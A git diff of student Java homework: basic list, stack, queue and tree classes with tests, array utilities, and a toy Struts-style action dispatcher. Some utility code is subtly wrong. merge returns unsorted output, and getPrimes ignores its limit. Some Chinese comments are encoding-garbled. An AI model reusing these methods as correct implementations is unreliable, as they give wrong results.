+import com.coding.datastructs.Iterator;
+
+
+public class ArrayListTest {
+
+	/**
+	 * <p>Description:</p>
+	 * @param args
+	 * @author:Wilson huang
+	 * @date 2017-3-12����12:08:10
+	 */
+	public static void main(String[] args) {
+		// TODO Auto-generated method stub
+		ArrayList aa = new ArrayList();
+		aa.add("aa");
+		aa.add("bb");
+		aa.add("cc");
+		//aa.remove(3);
+		aa.add(2, "44");
+		for(int i=0;i<aa.size();i++){
+			System.out.println(aa.get(i));
+		}
+		Iterator it = aa.iterator();
+		while(it.hasNext()){
+			System.out.println(it.next());
+		}
+
+	}
+
+}
diff --git a/group23/1246614258/src/com/coding/test/LinkedListTest.java b/group23/1246614258/src/com/coding/test/LinkedListTest.java
new file mode 100644
index 0000000000..4dfc329f05
--- /dev/null
+++ b/group23/1246614258/src/com/coding/test/LinkedListTest.java
@@ -0,0 +1,28 @@
+package com.coding.test;
+import com.coding.datastructs.LinkedList;
+
+
+public class LinkedListTest {
+
+	/**
+	 * <p>Description:</p>
+	 * @param args
+	 * @author:Wilson huang
+	 * @date 2017-3-12����1:45:58
+	 */
+	
+	public static void main(String[] args) {
+		// TODO Auto-generated method stub
+		LinkedList list = new LinkedList();
+		list.add("a");
+		list.add("b");
+		list.add("c");
+		list.add("d");
+		list.removeLast();
+		for(int i=0;i<list.size();i++){
+			System.out.println(list.get(i));
+			
+		}
+	}
+
+}
diff --git a/group23/1246614258/src/com/coding/test/QueueTest.java b/group23/1246614258/src/com/coding/test/QueueTest.java
new file mode 100644
index 0000000000..c9ec4fbf65
--- /dev/null
+++ b/group23/1246614258/src/com/coding/test/QueueTest.java
@@ -0,0 +1,22 @@
+package com.coding.test;
+import com.coding.datastructs.Queue;
+
+
+public class QueueTest {
+
+	/**
+	 * <p>Description:</p>
+	 * @param args
+	 * @author:Wilson huang
+	 * @date 2017-3-12����2:42:15
+	 */
+	public static void main(String[] args) {
+		// TODO Auto-generated method stub
+		Queue q = new Queue();
+		q.enQueue("a");
+		q.enQueue("b");
+		System.out.println(q.deQueue());
+
+	}
+
+}
diff --git a/group23/1246614258/src/com/coding/test/StackTest.java b/group23/1246614258/src/com/coding/test/StackTest.java
new file mode 100644
index 0000000000..41f2a15b5b
--- /dev/null
+++ b/group23/1246614258/src/com/coding/test/StackTest.java
@@ -0,0 +1,25 @@
+package com.coding.test;
+import com.coding.datastructs.Stack;
+
+
+public class StackTest {
+
+	/**
+	 * <p>Description:</p>
+	 * @param args
+	 * @author:Wilson huang
+	 * @date 2017-3-12����2:34:15
+	 */
+	public static void main(String[] args) {
+		// TODO Auto-generated method stub
+		Stack a = new Stack();
+		a.push("a");
+		a.push("b");
+		a.push("c");
+		System.out.println(a.isEmpty());
+		System.out.println(a.peek());
+		System.out.println(a.pop());
+
+	}
+
+}
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/datastructs/ArrayUtil.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/datastructs/ArrayUtil.java"
new file mode 100644
index 0000000000..ff773dffcc
--- /dev/null
+++ "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/datastructs/ArrayUtil.java"
@@ -0,0 +1,141 @@
+/**
+ * 
+ */
+package com.coding.datastructs;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
+
+
+public class ArrayUtil {
+	
+	
+	public void reverseArray(int[] origin){
+		for (int i=0; i<origin.length/2; i++) {
+            int temp = origin[i];
+            origin[i] = origin[origin.length-1-i];
+            origin[origin.length-1-i] = temp;
+    }
+	}
+	
+	
+	
+	public int[] removeZero(int[] oldArray){
+		int count=0;
+		for(int i=0;i<oldArray.length;i++){
+			if(oldArray[i]!=0){
+				oldArray[count++]=oldArray[i];
+			}else{
+				continue;
+			}
+		}
+		return Arrays.copyOfRange(oldArray, 0, count);
+	}
+	
+	
+	
+	public int[] merge(int[] array1, int[] array2){
+		int length = array1.length+array2.length;
+		int[] newArray = new int[length];
+		System.arraycopy(array1, 0, newArray, 0,array1.length);
+		System.arraycopy(array2, 0, newArray, array1.length,array2.length);
+		Set<Integer> temp = new HashSet<Integer>();
+		for(Integer i : newArray)
+			temp.add(i); 
+        for (int i = 0; i < temp.size(); i++) {  
+        	newArray[i]=(int)temp.toArray()[i];
+        }
+        Arrays.sort(Arrays.copyOfRange(newArray, 0, temp.size()));
+		return  Arrays.copyOfRange(newArray, 0, temp.size());
+	}
+	
+	public int[] grow(int [] oldArray,  int size){
+			int[] target = new int[oldArray.length+size];
+			System.arraycopy(oldArray, 0, target, 0, oldArray.length);
+			return target;
+	}
+	
+	
+	public int[] fibonacci(int max){
+		ArrayList<Integer> list = new ArrayList<Integer>();
+        list.add(1);
+        list.add(1);
+        if(max<=1){
+        	return new int[0];
+        }
+        for (int i = 2; i < max; i++) {
+        	int a = list.get(i-1)+list.get(i-2);
+            if(a<max){
+            	list.add(a);
+            }else{
+            	break;
+            }
+        }
+        int[] newArray = new int[list.size()];
+        for(int i=0;i<list.size();i++){
+        	newArray[i]=(int)list.get(i);
+        }
+		return newArray;
+	}
+	
+	
+	public int[] getPrimes(int max){
+		ArrayList<Integer> list = new ArrayList<Integer>();
+		int j=1;
+		for(int i=2;i<100;i++){
+			j=i;
+			while(j>0){
+				if(i%j==0&&i!=j&&j!=1){
+					break;
+				}else{
+					j--;
+				}
+			}
+			if(j==0){
+				list.add(i);
+			}
+		}
+		int[] newArray = new int[list.size()];
+        for(int i=0;i<list.size();i++){
+        	newArray[i]=(int)list.get(i);
+        }
+		return newArray;
+	}
+	
+	
+	public int[] getPerfectNumbers(int max){
+		ArrayList<Integer> list = new ArrayList<Integer>();
+		for(int i = 1; i < max; i++)  
+        {  
+            int sum = 0;  
+            for(int j = 1; j < i; j++)  
+            {  
+                if(i % j == 0)  
+                {  
+                    sum = sum + j;    
+                }     
+            }  
+            if(sum == i)  
+            {  
+                list.add(i);  
+            }   
+        }
+		int[] newArray = new int[list.size()];
+        for(int i=0;i<list.size();i++){
+        	newArray[i]=(int)list.get(i);
+        }
+		return newArray;
+	}
+	
+	public String join(int[] array, String seperator){
+		StringBuilder str = new StringBuilder();
+		for(int i=0;i<array.length;i++){
+			str.append(array[i]).append(seperator);
+		}
+		return str.substring(0, str.length()-1).toString();
+	}
+	
+
+}
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/test/ArrayUtilTest.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/test/ArrayUtilTest.java"
new file mode 100644
index 0000000000..17e7a06f0e
--- /dev/null
+++ "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/test/ArrayUtilTest.java"
@@ -0,0 +1,86 @@
+/**
+ * 
+ */
+package com.coding.test;
+
+
+import org.junit.Test;
+
+import com.coding.datastructs.ArrayUtil;
+
+
+public class ArrayUtilTest {
+	    @Test
+		public void reverseTest(){
+		ArrayUtil array = new ArrayUtil();
+		  int[] origin ={7,9,30,3,5,6,2,4,78,1,4,4567,3};
+		array.reverseArray(origin);
+		for(int i=0;i<origin.length;i++){
+			System.out.print(origin[i]+",");
+		}
+	}
+	    @Test
+	public void removeZeroTest(){
+		ArrayUtil array = new ArrayUtil();
+		int[] originArray ={0,1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5,0};
+		int[] newArray=array.removeZero(originArray);
+		for(int i=0;i<newArray.length;i++){
+			System.out.print(newArray[i]+",");
+		}
+	}
+	    @Test
+	public void mergeTest(){
+		ArrayUtil array = new ArrayUtil();
+		int[] a1 = {3, 5, 7,8}; 
+		int[] a2 = {4, 5, 6,7};
+		int[] a3 = array.merge(a1, a2);
+		for(int i=0;i<a3.length;i++){
+			System.out.print(a3[i]+",");
+		}
+		
+	}
+	    @Test
+	public void growTest(){
+		ArrayUtil array = new ArrayUtil();
+		int[] oldArray = {2,3,6};
+		oldArray = array.grow(oldArray, 3);
+		for(int i=0;i<oldArray.length;i++){
+			System.out.print(oldArray[i]+",");
+		}
+	}
+	    @Test
+	public void fibinaqiTest(){
+		ArrayUtil array = new ArrayUtil();
+		int[] a = array.fibonacci(56);
+		for(int i=0;i<a.length;i++){
+			System.out.print(a[i]+",");
+		}
+	}
+	    @Test
+	public void sushuTest(){
+		ArrayUtil array = new ArrayUtil();
+		int[] aa = array.getPrimes(100);
+		for(int t=0;t<aa.length;t++){
+			System.out.print(aa[t]+",");
+		}
+	}
+	    @Test	
+	public void perfectTest(){
+		ArrayUtil array = new ArrayUtil();
+		int[] aaa = array.getPerfectNumbers(1000);
+		for(int t=0;t<aaa.length;t++){
+			System.out.print(aaa[t]+",");
+		}
+	}
+	    @Test	
+	public void seperatorTest(){
+		ArrayUtil array = new ArrayUtil();
+		int[] arr = array.getPrimes(100);
+		String str = array.join(arr, "-");
+		System.out.println(str);
+	}
+		
+		//
+	
+
+}
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/LoginAction.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/LoginAction.java"
new file mode 100644
index 0000000000..07d16b45d3
--- /dev/null
+++ "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/LoginAction.java"
@@ -0,0 +1,35 @@
+package com.coderising.litestruts;
+
+
+public class LoginAction{
+    private String name ;
+    private String password;
+    private String message;
+
+    public String getName() {
+        return name;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String execute(){
+            if("test".equals(name) && "1234".equals(password)){
+                this.message = "login successful";
+                return "success";
+            }
+            this.message = "login failed,please check your user/pwd";
+            return "fail";
+    }
+
+    public void setName(String name){
+        this.name = name;
+    }
+    public void setPassword(String password){
+        this.password = password;
+    }
+    public String getMessage(){
+        return this.message;
+    }
+}
\ No newline at end of file
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Struts.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Struts.java"
new file mode 100644
index 0000000000..bdcafdff8a
--- /dev/null
+++ "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Struts.java"
@@ -0,0 +1,122 @@
+package com.coderising.litestruts;
+
+import java.io.File;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+import org.jdom.Document;
+import org.jdom.Element;
+import org.jdom.input.SAXBuilder;
+
+public class Struts {
+
+	public static View runAction(String actionName,
+			Map<String, String> parameters) {
+
+		
+		View view = new View();
+		Map<String,Map<String,String>> array = new HashMap<String, Map<String,String>>();
+		Map<String, Object> params = new HashMap<String, Object>();
+		Map<String, String> classData = new HashMap<String, String>();
+		try {
+			analysisXml(classData,array);
+			Map<String, String> jspData = array.get(actionName);
+			String s = "�Բ��������ݹ�����actionName��û�ж�Ӧ��class�࣬������Ҫ���´�";
+			if (!classData.containsKey(actionName)) {
+				throw new ClassNotFoundException(s);
+			}
+			
+			Class<?> class1 = Class.forName(classData.get(actionName));
+			LoginAction login = (LoginAction) class1.newInstance();
+			for (String ss : parameters.keySet()) {
+				Method[] methos1 = class1.getMethods();
+				for (int i = 0; i < methos1.length; i++) {
+					if (("set" + ss.substring(0, 1).toUpperCase() + ss
+							.substring(1)).equals(methos1[i].getName())) {
+						methos1[i].invoke(login, parameters.get(ss));
+						break;
+
+					}
+				}
+			}
+			
+			Method method1 = class1.getMethod("execute");
+			String result = (String) method1.invoke(login);
+			if(null!=result){
+				view.setJsp(jspData.get(result));
+			}
+			Method[] methos2 = class1.getMethods();
+			for (int i = 0; i < methos2.length; i++) {
+				if(methos2[i].getName().substring(0, 3).equals("get")){
+					Object value1 = (Object) (methos2[i].invoke(login));
+					String name1 = methos2[i].getName();
+					params.put(name1.substring(3, 4).toLowerCase()+name1.substring(4), value1);
+				}
+			}
+			view.setParameters(params);
+
+		} catch (Exception e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+
+		return view;
+	}
+
+	
+	public static void analysisXml(Map<String, String> xmlData,Map<String,Map<String,String>> array) {
+		try {
+			
+			String dirpath = System.getProperty("user.dir");
+			String xmlFile = dirpath + "/WebContent/WEB-INF/etc/struts.xml";
+			SAXBuilder builder = new SAXBuilder();
+			Document doc = builder.build(new File(xmlFile));
+			Element xRoot = doc.getRootElement();
+			List actions = getChildren(xRoot, "action");
+			for (int i = 0; i < actions.size(); i++) {
+				Element e = (Element) actions.get(i);
+				String actionName1 = getAttributeValue(e, "name");
+				String className = getAttributeValue(e, "class");
+				xmlData.put(actionName1, className);
+				List results = getChildren(e, "result");
+				Map<String, String> jspData = new HashMap<String, String>();
+				for (int j = 0; j < results.size(); j++) {
+					Element result = (Element) results.get(j);
+					String jspUrl = getValue(result);
+					String resultName = getAttributeValue(result, "name");
+					jspData.put(resultName, jspUrl);
+					array.put(actionName1, jspData);
+				}
+			}
+
+			// /StrutsDemo/WebContent/WEB-INF/etc/struts.xml
+		} catch (Exception e) {
+			e.printStackTrace();
+		}
+	}
+
+	
+	public static Element getChild(Element element, String sonMark) {
+		return element == null ? null : element.getChild(sonMark);
+	}
+
+	
+	public static List getChildren(Element element, String sonMark) {
+		return element == null ? null : element.getChildren(sonMark);
+	}
+
+	
+	public static String getValue(Element element) {
+		return element == null ? "" : element.getValue();
+	}
+
+	
+	public static String getAttributeValue(Element element, String attribute) {
+		return element == null ? null : element.getAttributeValue(attribute);
+	}
+
+}
\ No newline at end of file
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/StrutsTest.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/StrutsTest.java"
new file mode 100644
index 0000000000..52f08f3652
--- /dev/null
+++ "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/StrutsTest.java"
@@ -0,0 +1,43 @@
+package com.coderising.litestruts;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //�����Ԥ��IJ�һ��
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+}
\ No newline at end of file
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Test.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Test.java"
new file mode 100644
index 0000000000..d7bcd36d42
--- /dev/null
+++ "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Test.java"
@@ -0,0 +1,94 @@
+/**
+ * 
+ */
+package com.coderising.litestruts;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.StringReader;
+import java.lang.reflect.Method;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+import org.jdom.Document;
+import org.jdom.Element;
+import org.jdom.input.SAXBuilder;
+
+/**
+ * Title:
+ * Description:
+ * @author HuangLiang
+ * @2017��3��17������10:55:39
+ * 
+ */
+public class Test {
+
+	/**Description:
+	 * @param args
+	 * @author HuangLiang 2017��3��17�� ����10:55:39
+	 */
+	public static void main(String[] args) {
+		// TODO Auto-generated method stub
+			String name1 = "getName";
+			System.out.println(name1.substring(3, 4).toLowerCase()+name1.substring(4));
+			try {
+				Class<?> class1 = Class.forName("com.coderising.litestruts.LoginAction");
+				Method[] methos1 = class1.getMethods();
+				for(int i=0;i<methos1.length;i++){
+					Class<?> para[] = methos1[i].getParameterTypes();
+					throw new ClassNotFoundException();
+				}
+				System.out.println("���");
+			} catch (ClassNotFoundException e) {
+				// TODO Auto-generated catch block
+				e.printStackTrace();
+			}
+			
+	}
+	/**
+	 * ��ȡXML�ӱ�ǩ
+	 * 
+	 * @param element
+	 *            ��ǩ�ڵ�
+	 * @param sonMark
+	 *            �ӱ�ǩ
+	 * @return
+	 */
+	public static Element getChild(Element element, String sonMark) {
+		return element == null ? null : element.getChild(sonMark);
+	}
+
+	/**
+	 * ��ȡXML�ӱ�ǩ��
+	 * 
+	 * @param element
+	 *            ��ǩ�ڵ�
+	 * @param sonMark
+	 *            �ӱ�ǩ
+	 * @return
+	 */
+	public static List getChildren(Element element, String sonMark) {
+		return element == null ? null : element.getChildren(sonMark);
+	}
+
+	/**
+	 * s ��ȡXML��ǩֵ
+	 * 
+	 * @param element
+	 * @return
+	 */
+	public static String getValue(Element element) {
+		return element == null ? "" : element.getValue();
+	}
+	/**
+	 * s ��ȡXML����ֵ
+	 * 
+	 * @param element
+	 * @return
+	 */
+	public static String getAttributeValue(Element element, String attribute) {
+		return element == null ? null : element.getAttributeValue(attribute);
+	}
+
+}
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/View.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/View.java"
new file mode 100644
index 0000000000..f68a8c438b
--- /dev/null
+++ "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/View.java"
@@ -0,0 +1,23 @@
+package com.coderising.litestruts;
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map parameters;
+	
+	public String getJsp() {
+		return jsp;
+	}
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+	public Map getParameters() {
+		return parameters;
+	}
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
\ No newline at end of file
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/ArrayList.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/ArrayList.java
new file mode 100644
index 0000000000..fd6f80a806
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/ArrayList.java
@@ -0,0 +1,82 @@
+package main;
+
+import java.util.Arrays;
+
+import utils.ListUtils;
+
+public class ArrayList implements List {
+	private Object[] elementData = new Object[10];
+	private int size;
+
+	@Override
+	public void add(Object o) {
+		add(size, o);
+
+	}
+
+	@Override
+	public void add(int index, Object o) {
+		// 检查是否越界
+		ListUtils.CheckIndexInRange(0, size, index);
+		if (size == elementData.length) {
+			elementData = Arrays.copyOf(elementData, elementData.length + 10);
+		}
+		if (index < size) {
+			for (int i = size; i > index; i--) {
+				elementData[i] = elementData[i - 1];
+			}
+		}
+		elementData[index] = o;
+		size++;
+	}
+
+	@Override
+	public Object remove(int index) {
+		ListUtils.CheckIndexInRange(0, size - 1, index);
+		Object tag = elementData[index];
+		for (int i = index; i < size - 1; i++) {
+			elementData[i] = elementData[i + 1];
+		}
+		elementData[size - 1] = null;
+		size--;
+		return tag;
+
+	}
+
+	@Override
+	public Object get(int index) {
+		ListUtils.CheckIndexInRange(0, size - 1, index);
+		return elementData[index];
+
+	}
+
+	@Override
+	public int size() {
+		return size;
+	}
+
+	public Iterator iterator() {
+		return new Iterator() {
+			private int cursor;
+
+			@Override
+			public boolean hasNext() {
+				if (size > 0) {
+					return cursor < size;
+				} else {
+					return false;
+				}
+
+			}
+
+			@Override
+			public Object next() {
+				Object tag = get(cursor);
+				cursor++;
+				return tag;
+			}
+		};
+
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/BinaryTreeNode.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/BinaryTreeNode.java
new file mode 100644
index 0000000000..b67a56b5a7
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/BinaryTreeNode.java
@@ -0,0 +1,65 @@
+package main;
+
+public class BinaryTreeNode {
+	@SuppressWarnings("rawtypes")
+	private Comparable data;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
+
+	@SuppressWarnings("rawtypes")
+	public BinaryTreeNode(Comparable data, BinaryTreeNode left, BinaryTreeNode right) {
+		this.data = data;
+		this.left = left;
+		this.right = right;
+	}
+
+	@SuppressWarnings({ "rawtypes", "unchecked" })
+	public BinaryTreeNode insert(Comparable o) {
+		int result = o.compareTo(data);
+		if (0 == result) {
+			return this;
+		} else if (0 < result) {
+			if (null == this.right) {
+				BinaryTreeNode node = new BinaryTreeNode(o, null, null);
+				this.right = node;
+				return node;
+			}
+			return this.right.insert(o);
+		} else {
+			if (null == this.left) {
+				BinaryTreeNode node = new BinaryTreeNode(o, null, null);
+				this.left = node;
+				return node;
+			}
+			return this.left.insert(o);
+		}
+
+	}
+
+	@SuppressWarnings("rawtypes")
+	public Comparable getData() {
+		return data;
+	}
+
+	@SuppressWarnings("rawtypes")
+	public void setData(Comparable data) {
+		this.data = data;
+	}
+
+	public BinaryTreeNode getLeft() {
+		return left;
+	}
+
+	public void setLeft(BinaryTreeNode left) {
+		this.left = left;
+	}
+
+	public BinaryTreeNode getRight() {
+		return right;
+	}
+
+	public void setRight(BinaryTreeNode right) {
+		this.right = right;
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Iterator.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Iterator.java
new file mode 100644
index 0000000000..166a6181e3
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Iterator.java
@@ -0,0 +1,6 @@
+package main;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+}
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/LinkedList.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/LinkedList.java
new file mode 100644
index 0000000000..a6d82a0545
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/LinkedList.java
@@ -0,0 +1,114 @@
+package main;
+
+import utils.ListUtils;
+
+public class LinkedList implements List {
+	private Node head;
+	private int size;
+
+	private static class Node {
+		private Object data;
+		private Node next;
+	}
+
+	@Override
+	public void add(Object o) {
+		add(size, o);
+	}
+
+	@Override
+	public void add(int index, Object o) {
+		ListUtils.CheckIndexInRange(0, size, index);
+		if (0==size) {
+			head = new Node();
+			head.data = o;
+			size++;
+			return;
+		}
+		if (0 == index) {
+			Node node = new Node();
+			node.data = o;
+			node.next = head;
+			head = node;
+			size++;
+			return;
+		}
+		if (index == size) {
+			Node node = head;
+			while (null != node.next) {
+				node = node.next;
+			}
+			Node addNode = new Node();
+			addNode.data = o;
+			node.next = addNode;
+			size++;
+			return;
+		}
+		Node node = head;
+		for (int i = 0; i < index - 1; i++) {
+			node = node.next;
+		}
+		Node addNode = new Node();
+		addNode.data = o;
+		addNode.next = node.next;
+		node.next = addNode;
+		size++;
+	}
+
+	@Override
+	public Object remove(int index) {
+		ListUtils.CheckIndexInRange(0, size - 1, index);
+		Node node = head;
+		if (0 == index) {
+			head = head.next;
+			size--;
+			return node.data;
+		}
+		for (int i = 0; i < index - 1; i++) {
+			node = node.next;
+		}
+		Node removeNode = node.next;
+		node.next = removeNode.next;
+		size--;
+		return removeNode.data;
+	}
+
+	@Override
+	public Object get(int index) {
+		ListUtils.CheckIndexInRange(0, size - 1, index);
+		Node node = head;
+		for (int i = 0; i < index; i++) {
+			node = node.next;
+		}
+		return node.data;
+	}
+
+	@Override
+	public int size() {
+		return size;
+	}
+
+	public Iterator iterator() {
+		return new Iterator() {
+			private int cursor;
+
+			@Override
+			public boolean hasNext() {
+				if (size > 0) {
+					return cursor < size;
+				} else {
+					return false;
+				}
+
+			}
+
+			@Override
+			public Object next() {
+				Object tag = get(cursor);
+				cursor++;
+				return tag;
+			}
+		};
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/List.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/List.java
new file mode 100644
index 0000000000..73e3865ed7
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/List.java
@@ -0,0 +1,9 @@
+package main;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index,Object o);
+	public Object remove(int index);
+	public Object get(int index);
+	public int size();
+}
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Queue.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Queue.java
new file mode 100644
index 0000000000..feebe25b99
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Queue.java
@@ -0,0 +1,22 @@
+package main;
+
+public class Queue {
+	private LinkedList list = new LinkedList();
+
+	public void enQueue(Object o) {
+		list.add(o);
+	}
+
+	public Object deQueue() {
+		return list.remove(0);
+	}
+
+	public boolean isEmpty() {
+		return list.size() == 0;
+	}
+
+	public int size() {
+		return list.size();
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Stack.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Stack.java
new file mode 100644
index 0000000000..a584680425
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Stack.java
@@ -0,0 +1,25 @@
+package main;
+
+public class Stack {
+	private ArrayList list = new ArrayList();
+
+	public void push(Object o) {
+		list.add(o);
+	}
+
+	public Object pop() {
+		return list.remove(list.size() - 1);
+	}
+
+	public Object peek() {
+		return list.get(list.size() - 1);
+	}
+
+	public boolean isEmpty() {
+		return list.size() == 0;
+	}
+
+	public int size() {
+		return list.size();
+	}
+}
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/ArrayListTest.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/ArrayListTest.java
new file mode 100644
index 0000000000..f9f67e86f0
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/ArrayListTest.java
@@ -0,0 +1,144 @@
+package test;
+
+
+import static org.junit.Assert.*;
+
+import org.junit.Before;
+import org.junit.Test;
+
+
+import main.ArrayList;
+import main.Iterator;
+
+public class ArrayListTest {
+	ArrayList list;
+
+	@Before
+	public void init() {
+		list = new ArrayList();
+	}
+
+	@Test
+	public void testAddObject() {
+		list.add(0);
+		list.add(1);
+		list.add(2);
+		list.add(3);
+		list.add(4);
+		list.add(5);
+		list.add(6);
+		list.add(7);
+		list.add(8);
+		list.add(9);
+		list.add(10);
+		assertEquals(0, list.get(0));
+		assertEquals(1, list.get(1));
+		assertEquals(2, list.get(2));
+
+	}
+
+	@Test
+	public void testAddIntObject() {
+		list.add("b");
+		list.add("d");
+		list.add("e");
+		list.add(0, "a");
+		list.add(2, "c");
+		list.add(5, "f");
+		assertEquals("a", list.get(0));
+		assertEquals("c", list.get(2));
+		assertEquals("f", list.get(5));
+		try {
+			list.add(-1, "hh");
+			fail("-1 cann't be index");
+		} catch (Exception e) {
+		}
+
+		try {
+			list.add(7, "xx");
+			fail("index should <=size");
+		} catch (Exception e) {
+		}
+
+	}
+
+	@Test
+	public void testRemove() {
+		list.add("a");
+		list.add("b");
+		list.add("c");
+		list.add("d");
+		assertEquals("d", list.remove(3));
+		assertEquals("a", list.remove(0));
+		assertEquals("c", list.remove(1));
+		try {
+			list.remove(-1);
+			fail("-1 cann't be index");
+		} catch (Exception e) {
+		}
+
+		try {
+			list.remove(1);
+			fail("index should <=size");
+		} catch (Exception e) {
+		}
+
+	}
+
+	@Test
+	public void testGet() {
+
+		list.add("a");
+		assertEquals("a", list.get(0));
+
+		try {
+			list.get(-1);
+			fail("-1 cann't be index");
+		} catch (Exception e) {
+		}
+
+		try {
+			list.get(1);
+			fail("index should <=size");
+		} catch (Exception e) {
+		}
+
+	}
+
+	@Test
+	public void testSize() {
+		list.add("a");
+		assertEquals(1, list.size());
+		list.remove(0);
+		assertEquals(0, list.size());
+	}
+
+	@Test
+	public void testIterator() {
+		Iterator i = list.iterator();
+		assertEquals(0, list.size());
+		assertFalse(i.hasNext());
+		list.add("a");
+		list.add("b");
+		list.add("c");
+		list.add("d");
+		i = list.iterator();
+		assertTrue(i.hasNext());
+		assertEquals("a", i.next());
+		assertTrue(i.hasNext());
+		assertEquals("b", i.next());
+		assertTrue(i.hasNext());
+		assertEquals("c", i.next());
+		assertTrue(i.hasNext());
+		assertEquals("d", i.next());
+		assertFalse(i.hasNext());
+
+		try {
+			i.next();
+			fail("index should <=size");
+		} catch (Exception e) {
+		}
+
+	}
+
+}
